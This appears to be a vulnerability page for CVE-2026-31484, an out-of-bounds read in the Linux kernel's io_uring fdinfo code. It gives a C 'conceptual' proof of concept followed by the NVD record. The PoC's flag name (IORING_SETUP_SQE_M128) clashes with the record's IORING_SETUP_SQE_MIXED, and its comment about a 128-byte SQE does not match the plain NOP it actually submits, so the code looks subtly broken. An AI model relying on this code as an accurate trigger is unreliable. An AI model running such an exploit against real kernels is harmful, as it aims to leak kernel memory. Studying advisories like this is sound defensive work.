CVE-2026-31484

#include <linux/io_uring.h> #include <liburing.h> #include <stdio.h> #include <unistd.h> // Conceptual PoC to demonstrate the vulnerable setup // CVE-2026-31484 int main() { struct io_uring_params p = {0}; // Setup io_uring with mixed SQE sizes (128-byte) // to trigger the vulnerable code path in fdinfo p.flags = IORING_SETUP_SQE_M128; struct io_uring ring; // Initialize io_uring ring int ret = io_uring_queue_init_params(32, &ring, &p); if (ret < 0) { perror("io_uring_queue_init_params"); return 1; } // Submit SQEs to populate the ring in a specific manner // that leads to the wrap check failure. struct io_uring_sqe *sqe; sqe = io_uring_get_sqe(&ring); if (!sqe) { fprintf(stderr, "Failed to get SQE\n"); return 1; } // Prepare a 128-byte SQE (NOP for demonstration) io_uring_prep_nop(sqe); // Submit the request io_uring_submit(&ring); printf("Ring FD: %d\n", ring.ring_fd); // Trigger the vulnerability by reading fdinfo // In a real exploit, this would cause the OOB read printf("Execute: cat /proc/self/fdinfo/%d\n", ring.ring_fd); pause(); // Keep alive to allow inspection io_uring_queue_exit(&ring); return 0; }

{"cve": {"id": "CVE-2026-31484", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:45.800", "lastModified": "2026-04-28T13:39:16.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/fdinfo: fix OOB read in SQE_MIXED wrap check\n\n__io_uring_show_fdinfo() iterates over pending SQEs and, for 128-byte\nSQEs on an IORING_SETUP_SQE_MIXED ring, needs to detect when the second\nhalf of the SQE would be past the end of the sq_sqes array. The current\ncheck tests (++sq_head & sq_mask) == 0, but sq_head is only incremented\nwhen a 128-byte SQE is encountered, not on every iteration. The actual\narray index is sq_idx = (i + sq_head) & sq_mask, which can be sq_mask\n(the last slot) while the wrap check passes.\n\nFix by checking sq_idx directly. Keep the sq_head increment so the loop\nstill skips the second half of the 128-byte SQE on the next iteration."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.1", "versionEndExcluding": "6.19.11", "matchCriteriaId": "5054C854-C253-4020-BD2E-2BDA121E424C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:-:*:*:*:*:*:*", "matchCriteriaId": "35C8A871-4971-433E-A046-FC9F7B7D190A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5170efd9c344c68a8075dcb8ed38d3f8a60e7ed4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ba21ab247a5be5382da7464b95afbe5f0e9aa503", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}